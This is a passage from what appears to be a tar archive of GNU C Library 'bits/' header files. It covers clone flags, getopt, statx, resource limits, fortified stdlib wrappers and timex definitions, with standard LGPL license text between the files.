TID in userlevel buffer before MM copy. */ # define CLONE_CHILD_CLEARTID 0x00200000 /* Register exit futex and memory location to clear. */ # define CLONE_DETACHED 0x00400000 /* Create clone detached. */ # define CLONE_UNTRACED 0x00800000 /* Set if the tracing process can't force CLONE_PTRACE on this clone. */ # define CLONE_CHILD_SETTID 0x01000000 /* Store TID in userlevel buffer in the child. */ # define CLONE_NEWCGROUP 0x02000000 /* New cgroup namespace. */ # define CLONE_NEWUTS 0x04000000 /* New utsname group. */ # define CLONE_NEWIPC 0x08000000 /* New ipcs. */ # define CLONE_NEWUSER 0x10000000 /* New user namespace. */ # define CLONE_NEWPID 0x20000000 /* New pid namespace. */ # define CLONE_NEWNET 0x40000000 /* New network namespace. */ # define CLONE_IO 0x80000000 /* Clone I/O context. */ #endif #include <bits/types/struct_sched_param.h> __BEGIN_DECLS #ifdef __USE_GNU /* Clone current process. */ extern int clone (int (*__fn) (void *__arg), void *__child_stack, int __flags, void *__arg, ...) __THROW; /* Unshare the specified resources. */ extern int unshare (int __flags) __THROW; /* Get index of currently used CPU. */ extern int sched_getcpu (void) __THROW; /* Switch process to namespace of type NSTYPE indicated by FD. */ extern int setns (int __fd, int __nstype) __THROW; #endif __END_DECLS #endif /* bits/sched.h */ bits/getopt_core.h 0000644 00000007122 15246445046 0010204 0 ustar 00 /* Declarations for getopt (basic, portable features only). Copyright (C) 1989-2018 Free Software Foundation, Inc. This file is part of the GNU C Library and is also part of gnulib. Patches to this file should be submitted to both projects. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _GETOPT_CORE_H #define _GETOPT_CORE_H 1 /* This header should not be used directly; include getopt.h or unistd.h instead. Unlike most bits headers, it does not have a protective #error, because the guard macro for getopt.h in gnulib is not fixed. */ __BEGIN_DECLS /* For communication from 'getopt' to the caller. When 'getopt' finds an option that takes an argument, the argument value is returned here. Also, when 'ordering' is RETURN_IN_ORDER, each non-option ARGV-element is returned here. */ extern char *optarg; /* Index in ARGV of the next element to be scanned. This is used for communication to and from the caller and for communication between successive calls to 'getopt'. On entry to 'getopt', zero means this is the first call; initialize. When 'getopt' returns -1, this is the index of the first of the non-option elements that the caller should itself scan. Otherwise, 'optind' communicates from one call to the next how much of ARGV has been scanned so far. */ extern int optind; /* Callers store zero here to inhibit the error message 'getopt' prints for unrecognized options. */ extern int opterr; /* Set to an option character which was unrecognized. */ extern int optopt; /* Get definitions and prototypes for functions to process the arguments in ARGV (ARGC of them, minus the program name) for options given in OPTS. Return the option character from OPTS just read. Return -1 when there are no more options. For unrecognized options, or options missing arguments, 'optopt' is set to the option letter, and '?' is returned. The OPTS string is a list of characters which are recognized option letters, optionally followed by colons, specifying that that letter takes an argument, to be placed in 'optarg'. If a letter in OPTS is followed by two colons, its argument is optional. This behavior is specific to the GNU 'getopt'. The argument '--' causes premature termination of argument scanning, explicitly telling 'getopt' that there are no more options. If OPTS begins with '-', then non-option arguments are treated as arguments to the option '\1'. This behavior is specific to the GNU 'getopt'. If OPTS begins with '+', or POSIXLY_CORRECT is set in the environment, then do not permute arguments. For standards compliance, the 'argv' argument has the type char *const *, but this is inaccurate; if argument permutation is enabled, the argv array (not the strings it points to) must be writable. */ extern int getopt (int ___argc, char *const *___argv, const char *__shortopts) __THROW __nonnull ((2, 3)); __END_DECLS #endif /* getopt_core.h */ bits/statx-generic.h 0000644 00000004001 15246445046 0010440 0 ustar 00 /* Generic statx-related definitions and declarations. Copyright (C) 2018-2019 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This interface is based on <linux/stat.h> in Linux. */ #ifndef _SYS_STAT_H # error Never include <bits/statx-generic.h> directly, include <sys/stat.h> instead. #endif #include <bits/types/struct_statx_timestamp.h> #include <bits/types/struct_statx.h> #ifndef STATX_TYPE # define STATX_TYPE 0x0001U # define STATX_MODE 0x0002U # define STATX_NLINK 0x0004U # define STATX_UID 0x0008U # define STATX_GID 0x0010U # define STATX_ATIME 0x0020U # define STATX_MTIME 0x0040U # define STATX_CTIME 0x0080U # define STATX_INO 0x0100U # define STATX_SIZE 0x0200U # define STATX_BLOCKS 0x0400U # define STATX_BASIC_STATS 0x07ffU # define STATX_ALL 0x0fffU # define STATX_BTIME 0x0800U # define STATX__RESERVED 0x80000000U # define STATX_ATTR_COMPRESSED 0x0004 # define STATX_ATTR_IMMUTABLE 0x0010 # define STATX_ATTR_APPEND 0x0020 # define STATX_ATTR_NODUMP 0x0040 # define STATX_ATTR_ENCRYPTED 0x0800 # define STATX_ATTR_AUTOMOUNT 0x1000 #endif /* !STATX_TYPE */ __BEGIN_DECLS /* Fill *BUF with information about PATH in DIRFD. */ int statx (int __dirfd, const char *__restrict __path, int __flags, unsigned int __mask, struct statx *__restrict __buf) __THROW __nonnull ((2, 5)); __END_DECLS bits/monetary-ldbl.h 0000644 00000002026 15246445046 0010441 0 ustar 00 /* -mlong-double-64 compatibility mode for monetary functions. Copyright (C) 2006-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MONETARY_H # error "Never include <bits/monetary-ldbl.h> directly; use <monetary.h> instead." #endif __LDBL_REDIR_DECL (strfmon) #ifdef __USE_GNU __LDBL_REDIR_DECL (strfmon_l) #endif bits/elfclass.h 0000644 00000000652 15246445046 0007467 0 ustar 00 /* This file specifies the native word size of the machine, which indicates the ELF file class used for executables and shared objects on this machine. */ #ifndef _LINK_H # error "Never use <bits/elfclass.h> directly; include <link.h> instead." #endif #include <bits/wordsize.h> #define __ELF_NATIVE_CLASS __WORDSIZE /* The entries in the .hash table always have a size of 32 bits. */ typedef uint32_t Elf_Symndx; bits/setjmp2.h 0000644 00000003250 15246445046 0007254 0 ustar 00 /* Checking macros for setjmp functions. Copyright (C) 2009-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SETJMP_H # error "Never include <bits/setjmp2.h> directly; use <setjmp.h> instead." #endif /* Variant of the longjmp functions which perform some sanity checking. */ #ifdef __REDIRECT_NTH extern void __REDIRECT_NTHNL (longjmp, (struct __jmp_buf_tag __env[1], int __val), __longjmp_chk) __attribute__ ((__noreturn__)); extern void __REDIRECT_NTHNL (_longjmp, (struct __jmp_buf_tag __env[1], int __val), __longjmp_chk) __attribute__ ((__noreturn__)); extern void __REDIRECT_NTHNL (siglongjmp, (struct __jmp_buf_tag __env[1], int __val), __longjmp_chk) __attribute__ ((__noreturn__)); #else extern void __longjmp_chk (struct __jmp_buf_tag __env[1], int __val), __THROWNL __attribute__ ((__noreturn__)); # define longjmp __longjmp_chk # define _longjmp __longjmp_chk # define siglongjmp __longjmp_chk #endif bits/initspin.h 0000644 00000000031 15246445046 0007517 0 ustar 00 /* No thread support. */ bits/wordsize.h 0000644 00000000672 15246445046 0007543 0 ustar 00 /* Determine the wordsize from the preprocessor defines. */ #if defined __x86_64__ && !defined __ILP32__ # define __WORDSIZE 64 #else # define __WORDSIZE 32 #define __WORDSIZE32_SIZE_ULONG 0 #define __WORDSIZE32_PTRDIFF_LONG 0 #endif #ifdef __x86_64__ # define __WORDSIZE_TIME64_COMPAT32 1 /* Both x86-64 and x32 use the 64-bit system call interface. */ # define __SYSCALL_WORDSIZE 64 #else # define __WORDSIZE_TIME64_COMPAT32 0 #endif bits/a.out.h 0000644 00000000414 15246445046 0006715 0 ustar 00 #ifndef __A_OUT_GNU_H__ # error "Never use <bits/a.out.h> directly; include <a.out.h> instead." #endif #ifdef __x86_64__ /* Signal to users of this header that this architecture really doesn't support a.out binary format. */ #define __NO_A_OUT_SUPPORT 1 #endif bits/resource.h 0000644 00000014232 15246445046 0007521 0 ustar 00 /* Bit values & structures for resource limits. Linux version. Copyright (C) 1994-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_RESOURCE_H # error "Never use <bits/resource.h> directly; include <sys/resource.h> instead." #endif #include <bits/types.h> /* Transmute defines to enumerations. The macro re-definitions are necessary because some programs want to test for operating system features with #ifdef RUSAGE_SELF. In ISO C the reflexive definition is a no-op. */ /* Kinds of resource limit. */ enum __rlimit_resource { /* Per-process CPU limit, in seconds. */ RLIMIT_CPU = 0, #define RLIMIT_CPU RLIMIT_CPU /* Largest file that can be created, in bytes. */ RLIMIT_FSIZE = 1, #define RLIMIT_FSIZE RLIMIT_FSIZE /* Maximum size of data segment, in bytes. */ RLIMIT_DATA = 2, #define RLIMIT_DATA RLIMIT_DATA /* Maximum size of stack segment, in bytes. */ RLIMIT_STACK = 3, #define RLIMIT_STACK RLIMIT_STACK /* Largest core file that can be created, in bytes. */ RLIMIT_CORE = 4, #define RLIMIT_CORE RLIMIT_CORE /* Largest resident set size, in bytes. This affects swapping; processes that are exceeding their resident set size will be more likely to have physical memory taken from them. */ __RLIMIT_RSS = 5, #define RLIMIT_RSS __RLIMIT_RSS /* Number of open files. */ RLIMIT_NOFILE = 7, __RLIMIT_OFILE = RLIMIT_NOFILE, /* BSD name for same. */ #define RLIMIT_NOFILE RLIMIT_NOFILE #define RLIMIT_OFILE __RLIMIT_OFILE /* Address space limit. */ RLIMIT_AS = 9, #define RLIMIT_AS RLIMIT_AS /* Number of processes. */ __RLIMIT_NPROC = 6, #define RLIMIT_NPROC __RLIMIT_NPROC /* Locked-in-memory address space. */ __RLIMIT_MEMLOCK = 8, #define RLIMIT_MEMLOCK __RLIMIT_MEMLOCK /* Maximum number of file locks. */ __RLIMIT_LOCKS = 10, #define RLIMIT_LOCKS __RLIMIT_LOCKS /* Maximum number of pending signals. */ __RLIMIT_SIGPENDING = 11, #define RLIMIT_SIGPENDING __RLIMIT_SIGPENDING /* Maximum bytes in POSIX message queues. */ __RLIMIT_MSGQUEUE = 12, #define RLIMIT_MSGQUEUE __RLIMIT_MSGQUEUE /* Maximum nice priority allowed to raise to. Nice levels 19 .. -20 correspond to 0 .. 39 values of this resource limit. */ __RLIMIT_NICE = 13, #define RLIMIT_NICE __RLIMIT_NICE /* Maximum realtime priority allowed for non-priviledged processes. */ __RLIMIT_RTPRIO = 14, #define RLIMIT_RTPRIO __RLIMIT_RTPRIO /* Maximum CPU time in µs that a process scheduled under a real-time scheduling policy may consume without making a blocking system call before being forcibly descheduled. */ __RLIMIT_RTTIME = 15, #define RLIMIT_RTTIME __RLIMIT_RTTIME __RLIMIT_NLIMITS = 16, __RLIM_NLIMITS = __RLIMIT_NLIMITS #define RLIMIT_NLIMITS __RLIMIT_NLIMITS #define RLIM_NLIMITS __RLIM_NLIMITS }; /* Value to indicate that there is no limit. */ #ifndef __USE_FILE_OFFSET64 # define RLIM_INFINITY ((__rlim_t) -1) #else # define RLIM_INFINITY 0xffffffffffffffffuLL #endif #ifdef __USE_LARGEFILE64 # define RLIM64_INFINITY 0xffffffffffffffffuLL #endif /* We can represent all limits. */ #define RLIM_SAVED_MAX RLIM_INFINITY #define RLIM_SAVED_CUR RLIM_INFINITY /* Type for resource quantity measurement. */ #ifndef __USE_FILE_OFFSET64 typedef __rlim_t rlim_t; #else typedef __rlim64_t rlim_t; #endif #ifdef __USE_LARGEFILE64 typedef __rlim64_t rlim64_t; #endif struct rlimit { /* The current (soft) limit. */ rlim_t rlim_cur; /* The hard limit. */ rlim_t rlim_max; }; #ifdef __USE_LARGEFILE64 struct rlimit64 { /* The current (soft) limit. */ rlim64_t rlim_cur; /* The hard limit. */ rlim64_t rlim_max; }; #endif /* Whose usage statistics do you want? */ enum __rusage_who { /* The calling process. */ RUSAGE_SELF = 0, #define RUSAGE_SELF RUSAGE_SELF /* All of its terminated child processes. */ RUSAGE_CHILDREN = -1 #define RUSAGE_CHILDREN RUSAGE_CHILDREN #ifdef __USE_GNU , /* The calling thread. */ RUSAGE_THREAD = 1 # define RUSAGE_THREAD RUSAGE_THREAD /* Name for the same functionality on Solaris. */ # define RUSAGE_LWP RUSAGE_THREAD #endif }; #include <bits/types/struct_timeval.h> #include <bits/types/struct_rusage.h> /* Priority limits. */ #define PRIO_MIN -20 /* Minimum priority a process can have. */ #define PRIO_MAX 20 /* Maximum priority a process can have. */ /* The type of the WHICH argument to `getpriority' and `setpriority', indicating what flavor of entity the WHO argument specifies. */ enum __priority_which { PRIO_PROCESS = 0, /* WHO is a process ID. */ #define PRIO_PROCESS PRIO_PROCESS PRIO_PGRP = 1, /* WHO is a process group ID. */ #define PRIO_PGRP PRIO_PGRP PRIO_USER = 2 /* WHO is a user ID. */ #define PRIO_USER PRIO_USER }; __BEGIN_DECLS #ifdef __USE_GNU /* Modify and return resource limits of a process atomically. */ # ifndef __USE_FILE_OFFSET64 extern int prlimit (__pid_t __pid, enum __rlimit_resource __resource, const struct rlimit *__new_limit, struct rlimit *__old_limit) __THROW; # else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (prlimit, (__pid_t __pid, enum __rlimit_resource __resource, const struct rlimit *__new_limit, struct rlimit *__old_limit), prlimit64); # else # define prlimit prlimit64 # endif # endif # ifdef __USE_LARGEFILE64 extern int prlimit64 (__pid_t __pid, enum __rlimit_resource __resource, const struct rlimit64 *__new_limit, struct rlimit64 *__old_limit) __THROW; # endif #endif __END_DECLS bits/local_lim.h 0000644 00000006160 15246445046 0007626 0 ustar 00 /* Minimum guaranteed maximum values for system limits. Linux version. Copyright (C) 1993-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; see the file COPYING.LIB. If not, see <http://www.gnu.org/licenses/>. */ /* The kernel header pollutes the namespace with the NR_OPEN symbol and defines LINK_MAX although filesystems have different maxima. A similar thing is true for OPEN_MAX: the limit can be changed at runtime and therefore the macro must not be defined. Remove this after including the header if necessary. */ #ifndef NR_OPEN # define __undef_NR_OPEN #endif #ifndef LINK_MAX # define __undef_LINK_MAX #endif #ifndef OPEN_MAX # define __undef_OPEN_MAX #endif #ifndef ARG_MAX # define __undef_ARG_MAX #endif /* The kernel sources contain a file with all the needed information. */ #include <linux/limits.h> /* Have to remove NR_OPEN? */ #ifdef __undef_NR_OPEN # undef NR_OPEN # undef __undef_NR_OPEN #endif /* Have to remove LINK_MAX? */ #ifdef __undef_LINK_MAX # undef LINK_MAX # undef __undef_LINK_MAX #endif /* Have to remove OPEN_MAX? */ #ifdef __undef_OPEN_MAX # undef OPEN_MAX # undef __undef_OPEN_MAX #endif /* Have to remove ARG_MAX? */ #ifdef __undef_ARG_MAX # undef ARG_MAX # undef __undef_ARG_MAX #endif /* The number of data keys per process. */ #define _POSIX_THREAD_KEYS_MAX 128 /* This is the value this implementation supports. */ #define PTHREAD_KEYS_MAX 1024 /* Controlling the iterations of destructors for thread-specific data. */ #define _POSIX_THREAD_DESTRUCTOR_ITERATIONS 4 /* Number of iterations this implementation does. */ #define PTHREAD_DESTRUCTOR_ITERATIONS _POSIX_THREAD_DESTRUCTOR_ITERATIONS /* The number of threads per process. */ #define _POSIX_THREAD_THREADS_MAX 64 /* We have no predefined limit on the number of threads. */ #undef PTHREAD_THREADS_MAX /* Maximum amount by which a process can descrease its asynchronous I/O priority level. */ #define AIO_PRIO_DELTA_MAX 20 /* Minimum size for a thread. We are free to choose a reasonable value. */ #define PTHREAD_STACK_MIN 16384 /* Maximum number of timer expiration overruns. */ #define DELAYTIMER_MAX 2147483647 /* Maximum tty name length. */ #define TTY_NAME_MAX 32 /* Maximum login name length. This is arbitrary. */ #define LOGIN_NAME_MAX 256 /* Maximum host name length. */ #define HOST_NAME_MAX 64 /* Maximum message queue priority level. */ #define MQ_PRIO_MAX 32768 /* Maximum value the semaphore can have. */ #define SEM_VALUE_MAX (2147483647) bits/stdio_lim.h 0000644 00000002274 15246445046 0007660 0 ustar 00 /* Copyright (C) 1994-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_STDIO_LIM_H #define _BITS_STDIO_LIM_H 1 #ifndef _STDIO_H # error "Never include <bits/stdio_lim.h> directly; use <stdio.h> instead." #endif #define L_tmpnam 20 #define TMP_MAX 238328 #define FILENAME_MAX 4096 #ifdef __USE_POSIX # define L_ctermid 9 # if !defined __USE_XOPEN2K || defined __USE_GNU # define L_cuserid 9 # endif #endif #undef FOPEN_MAX #define FOPEN_MAX 16 #endif /* bits/stdio_lim.h */ bits/stdlib.h 0000644 00000011715 15246445046 0007156 0 ustar 00 /* Checking macros for stdlib functions. Copyright (C) 2005-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _STDLIB_H # error "Never include <bits/stdlib.h> directly; use <stdlib.h> instead." #endif extern char *__realpath_chk (const char *__restrict __name, char *__restrict __resolved, size_t __resolvedlen) __THROW __wur; extern char *__REDIRECT_NTH (__realpath_alias, (const char *__restrict __name, char *__restrict __resolved), realpath) __wur; extern char *__REDIRECT_NTH (__realpath_chk_warn, (const char *__restrict __name, char *__restrict __resolved, size_t __resolvedlen), __realpath_chk) __wur __warnattr ("second argument of realpath must be either NULL or at " "least PATH_MAX bytes long buffer"); __fortify_function __wur char * __NTH (realpath (const char *__restrict __name, char *__restrict __resolved)) { size_t sz = __glibc_objsize (__resolved); if (sz == (size_t) -1) return __realpath_alias (__name, __resolved); #if defined _LIBC_LIMITS_H_ && defined PATH_MAX if (__glibc_unsafe_len (PATH_MAX, sizeof (char), sz)) return __realpath_chk_warn (__name, __resolved, sz); #endif return __realpath_chk (__name, __resolved, sz); } extern int __ptsname_r_chk (int __fd, char *__buf, size_t __buflen, size_t __nreal) __THROW __nonnull ((2)); extern int __REDIRECT_NTH (__ptsname_r_alias, (int __fd, char *__buf, size_t __buflen), ptsname_r) __nonnull ((2)); extern int __REDIRECT_NTH (__ptsname_r_chk_warn, (int __fd, char *__buf, size_t __buflen, size_t __nreal), __ptsname_r_chk) __nonnull ((2)) __warnattr ("ptsname_r called with buflen bigger than " "size of buf"); __fortify_function int __NTH (ptsname_r (int __fd, char *__buf, size_t __buflen)) { return __glibc_fortify (ptsname_r, __buflen, sizeof (char), __glibc_objsize (__buf), __fd, __buf, __buflen); } extern int __wctomb_chk (char *__s, wchar_t __wchar, size_t __buflen) __THROW __wur; extern int __REDIRECT_NTH (__wctomb_alias, (char *__s, wchar_t __wchar), wctomb) __wur; __fortify_function __wur int __NTH (wctomb (char *__s, wchar_t __wchar)) { /* We would have to include <limits.h> to get a definition of MB_LEN_MAX. But this would only disturb the namespace. So we define our own version here. */ #define __STDLIB_MB_LEN_MAX 16 #if defined MB_LEN_MAX && MB_LEN_MAX != __STDLIB_MB_LEN_MAX # error "Assumed value of MB_LEN_MAX wrong" #endif if (__glibc_objsize (__s) != (size_t) -1 && __STDLIB_MB_LEN_MAX > __glibc_objsize (__s)) return __wctomb_chk (__s, __wchar, __glibc_objsize (__s)); return __wctomb_alias (__s, __wchar); } extern size_t __mbstowcs_chk (wchar_t *__restrict __dst, const char *__restrict __src, size_t __len, size_t __dstlen) __THROW; extern size_t __REDIRECT_NTH (__mbstowcs_alias, (wchar_t *__restrict __dst, const char *__restrict __src, size_t __len), mbstowcs); extern size_t __REDIRECT_NTH (__mbstowcs_chk_warn, (wchar_t *__restrict __dst, const char *__restrict __src, size_t __len, size_t __dstlen), __mbstowcs_chk) __warnattr ("mbstowcs called with dst buffer smaller than len " "* sizeof (wchar_t)"); __fortify_function size_t __NTH (mbstowcs (wchar_t *__restrict __dst, const char *__restrict __src, size_t __len)) { return __glibc_fortify_n (mbstowcs, __len, sizeof (wchar_t), __glibc_objsize (__dst), __dst, __src, __len); } extern size_t __wcstombs_chk (char *__restrict __dst, const wchar_t *__restrict __src, size_t __len, size_t __dstlen) __THROW; extern size_t __REDIRECT_NTH (__wcstombs_alias, (char *__restrict __dst, const wchar_t *__restrict __src, size_t __len), wcstombs); extern size_t __REDIRECT_NTH (__wcstombs_chk_warn, (char *__restrict __dst, const wchar_t *__restrict __src, size_t __len, size_t __dstlen), __wcstombs_chk) __warnattr ("wcstombs called with dst buffer smaller than len"); __fortify_function size_t __NTH (wcstombs (char *__restrict __dst, const wchar_t *__restrict __src, size_t __len)) { return __glibc_fortify (wcstombs, __len, sizeof (char), __glibc_objsize (__dst), __dst, __src, __len); } bits/inotify.h 0000644 00000002067 15246445046 0007356 0 ustar 00 /* Copyright (C) 2005-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_INOTIFY_H # error "Never use <bits/inotify.h> directly; include <sys/inotify.h> instead." #endif /* Flags for the parameter of inotify_init1. */ enum { IN_CLOEXEC = 02000000, #define IN_CLOEXEC IN_CLOEXEC IN_NONBLOCK = 00004000 #define IN_NONBLOCK IN_NONBLOCK }; bits/timex.h 0000644 00000010763 15246445046 0007025 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_TIMEX_H #define _BITS_TIMEX_H 1 #include <bits/types.h> #include <bits/types/struct_timeval.h> /* These definitions from linux/timex.h as of 3.18. */ struct timex { unsigned int modes; /* mode selector */ __syscall_slong_t offset; /* time offset (usec) */ __syscall_slong_t freq; /* frequency offset (scaled ppm) */ __syscall_slong_t maxerror; /* maximum error (usec) */ __syscall_slong_t esterror; /* estimated error (usec) */ int status; /* clock command/status */ __syscall_slong_t constant; /* pll time constant */ __syscall_slong_t precision; /* clock precision (usec) (ro) */ __syscall_slong_t tolerance; /* clock frequency tolerance (ppm) (ro) */ struct timeval time; /* (read only, except for ADJ_SETOFFSET) */ __syscall_slong_t tick; /* (modified) usecs between clock ticks */ __syscall_slong_t ppsfreq; /* pps frequency (scaled ppm) (ro) */ __syscall_slong_t jitter; /* pps jitter (us) (ro) */ int shift; /* interval duration (s) (shift) (ro) */ __syscall_slong_t stabil; /* pps stability (scaled ppm) (ro) */ __syscall_slong_t jitcnt; /* jitter limit exceeded (ro) */ __syscall_slong_t calcnt; /* calibration intervals (ro) */ __syscall_slong_t errcnt; /* calibration errors (ro) */ __syscall_slong_t stbcnt; /* stability limit exceeded (ro) */ int tai; /* TAI offset (ro) */ /* ??? */ int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; int :32; }; /* Mode codes (timex.mode) */ #define ADJ_OFFSET 0x0001 /* time offset */ #define ADJ_FREQUENCY 0x0002 /* frequency offset */ #define ADJ_MAXERROR 0x0004 /* maximum time error */ #define ADJ_ESTERROR 0x0008 /* estimated time error */ #define ADJ_STATUS 0x0010 /* clock status */ #define ADJ_TIMECONST 0x0020 /* pll time constant */ #define ADJ_TAI 0x0080 /* set TAI offset */ #define ADJ_SETOFFSET 0x0100 /* add 'time' to current time */ #define ADJ_MICRO 0x1000 /* select microsecond resolution */ #define ADJ_NANO 0x2000 /* select nanosecond resolution */ #define ADJ_TICK 0x4000 /* tick value */ #define ADJ_OFFSET_SINGLESHOT 0x8001 /* old-fashioned adjtime */ #define ADJ_OFFSET_SS_READ 0xa001 /* read-only adjtime */ /* xntp 3.4 compatibility names */ #define MOD_OFFSET ADJ_OFFSET #define MOD_FREQUENCY ADJ_FREQUENCY #define MOD_MAXERROR ADJ_MAXERROR #define MOD_ESTERROR ADJ_ESTERROR #define MOD_STATUS ADJ_STATUS #define MOD_TIMECONST ADJ_TIMECONST #define MOD_CLKB ADJ_TICK #define MOD_CLKA ADJ_OFFSET_SINGLESHOT /* 0x8000 in original */ #define MOD_TAI ADJ_TAI #define MOD_MICRO ADJ_MICRO #define MOD_NANO ADJ_NANO /* Status codes (timex.status) */ #define STA_PLL 0x0001 /* enable PLL updates (rw) */ #define STA_PPSFREQ 0x0002 /* enable PPS freq discipline (rw) */ #define STA_PPSTIME 0x0004 /* enable PPS time discipline (rw) */ #define STA_FLL 0x0008 /* select frequency-lock mode (rw) */ #define STA_INS 0x0010 /* insert leap (rw) */ #define STA_DEL 0x0020 /* delete leap (rw) */ #define STA_UNSYNC 0x0040 /* clock unsynchronized (rw) */ #define STA_FREQHOLD 0x0080 /* hold frequency (rw) */ #define STA_PPSSIGNAL 0x0100 /* PPS signal present (ro) */ #define STA_PPSJITTER 0x0200 /* PPS signal jitter exceeded (ro) */ #define STA_PPSWANDER 0x0400 /* PPS signal wander exceeded (ro) */ #define STA_PPSERROR 0x0800 /* PPS signal calibration error (ro) */ #define STA_CLOCKERR 0x1000 /* clock hardware fault (ro) */ #define STA_NANO 0x2000 /* resolution (0 = us, 1 = ns) (ro) */ #define STA_MODE 0x4000 /* mode (0 = PLL, 1 = FLL) (ro) */ #define STA_CLK 0x8000 /* clock source (0 = A, 1 = B) (ro) */ /* Read-only bits */ #define STA_RONLY (STA_PPSSIGNAL | STA_PPSJITTER | STA_PPSWANDER | \ STA_PPSERROR | STA_CLOCKERR | STA_NANO | STA_MODE | STA_CLK) #endif /* bits/timex.h */ bits/thread-shared-types.h 0000644 00000015117 15246445046 0011552 0 ustar 00 /* Common threading primitives definitions for both POSIX and C11. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _THREAD_SHARED_TYPES_H #define _THREAD_SHARED_TYPES_H 1 /* Arch-specific definitions. Each architecture must define the following macros to define the expected sizes of pthread data types: __SIZEOF_PTHREAD_ATTR_T - size of 